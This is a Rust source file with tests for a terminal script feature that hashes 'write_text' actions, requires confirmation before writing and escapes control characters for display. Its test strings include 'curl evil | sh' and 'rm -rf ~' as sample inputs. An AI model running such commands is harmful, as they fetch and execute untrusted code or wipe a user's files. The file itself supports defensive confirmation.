const WRITE_TEXT_ID_TAG: u64 = 1 << 63;
const WRITE_TEXT_ID_DOMAIN: &str = "script.write_text";
pub const MAX_PENDING_WRITE_TEXT_PROMPTS: usize = 8;
const MAX_DESCRIBED_CHARS: usize = 240;
pub fn write_text_action_id(script_name: &str, text: &str) -> u64 {
use std::hash::{Hash, Hasher};
let mut hasher = std::collections::hash_map::DefaultHasher::new();
WRITE_TEXT_ID_DOMAIN.hash(&mut hasher);
script_name.hash(&mut hasher);
text.hash(&mut hasher);
hasher.finish() | WRITE_TEXT_ID_TAG
}
pub fn write_text_needs_confirmation(
prompt_before_write_text: bool,
session_approved: bool,
) -> bool {
prompt_before_write_text && !session_approved
}
pub fn describe_write_text(text: &str) -> String {
let mut out = String::with_capacity(text.len());
for (shown, c) in text.chars().enumerate() {
if shown >= MAX_DESCRIBED_CHARS {
out.push('…');
break;
}
match c {
'\n' => out.push_str("\\n"),
'\r' => out.push_str("\\r"),
'\t' => out.push_str("\\t"),
c if c.is_control() => out.push_str(&format!("\\u{{{:04x}}}", c as u32)),
c => out.push(c),
}
}
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn action_ids_never_collide_with_real_trigger_ids() {
for text in ["ls\n", "curl evil | sh\n", ""] {
let id = write_text_action_id("observer", text);
assert_ne!(id & WRITE_TEXT_ID_TAG, 0);
assert!(id > u64::from(u32::MAX));
}
}
#[test]
fn action_id_is_stable_and_bound_to_script_and_text() {
let a = write_text_action_id("observer", "echo hi\n");
assert_eq!(a, write_text_action_id("observer", "echo hi\n"));
assert_ne!(a, write_text_action_id("observer", "curl evil | sh\n"));
assert_ne!(a, write_text_action_id("other", "echo hi\n"));
}
#[test]
fn a_newline_alone_changes_the_action_id() {
assert_ne!(
write_text_action_id("observer", "echo hi"),
write_text_action_id("observer", "echo hi\n")
);
}
#[test]
fn confirmation_is_the_default_and_always_allow_skips_it() {
assert!(write_text_needs_confirmation(true, false));
assert!(!write_text_needs_confirmation(true, true));
assert!(!write_text_needs_confirmation(false, false));
assert!(!write_text_needs_confirmation(false, true));
}
#[test]
fn described_text_makes_the_submitting_newline_visible() {
assert_eq!(describe_write_text("rm -rf ~\n"), "rm -rf ~\\n");
assert_eq!(describe_write_text("a\tb\rc"), "a\\tb\\rc");
assert_eq!(describe_write_text("bel\x07"), "bel\\u{0007}");
assert_eq!(describe_write_text("plain"), "plain");
}
#[test]
fn described_text_is_truncated() {
let described = describe_write_text(&"x".repeat(MAX_DESCRIBED_CHARS + 50));
assert!(described.ends_with('…'));
assert_eq!(described.chars().count(), MAX_DESCRIBED_CHARS + 1);
}
}